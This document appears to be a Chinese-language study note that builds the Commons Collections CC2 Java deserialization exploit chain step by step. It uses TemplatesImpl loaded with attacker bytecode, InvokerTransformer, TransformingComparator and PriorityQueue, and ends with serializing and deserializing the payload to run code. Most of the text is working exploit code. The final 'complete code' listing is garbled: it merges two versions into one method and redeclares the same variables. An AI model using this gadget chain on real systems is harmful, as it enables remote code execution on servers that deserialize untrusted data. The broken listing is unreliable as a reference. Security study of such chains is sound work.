cc2
cc2其實就是cc3不用cc1結尾的方法,然後用cc4的結尾的方法來構造的
第一步
把cc3前半部分拿過來
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
然後把templates.newTransformer();
換成InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
,但是我們差給invoketransform
的transform
賦值為templates
第二步
把cc4的後半部分來利用
先看Transform
的構造器和compare
函式所在原始碼
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
ok,我們先給transformer
賦值為invokerTransformer
TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
然後再找到呼叫compare
函式的PriorityQueue
類裡面來
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
我們就這樣做PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
然後為了給他的transform
裡面的引數賦值,我們下面這個來
priorityQueue.add(templates);
priorityQueue.add(templates);
除錯一下行不行
public boolean add(E e) {
return offer(e);
}
add
呼叫offer
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
要給add
來兩次:第一次size為0,i為0。第二次size為2,i為1。
所以才能進入siftUp
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
k為1,x為templates
,呼叫siftUpUsingComparator(k, x)
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
成功執行
第三步
但是add會先促使呼叫compare,可以先讓 transformingComparator 的值成為一個無關的物件,在 add 完之後再用反射修改,
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
完成執行
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
完整程式碼
public class cc2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);//第一步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");//第二步
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}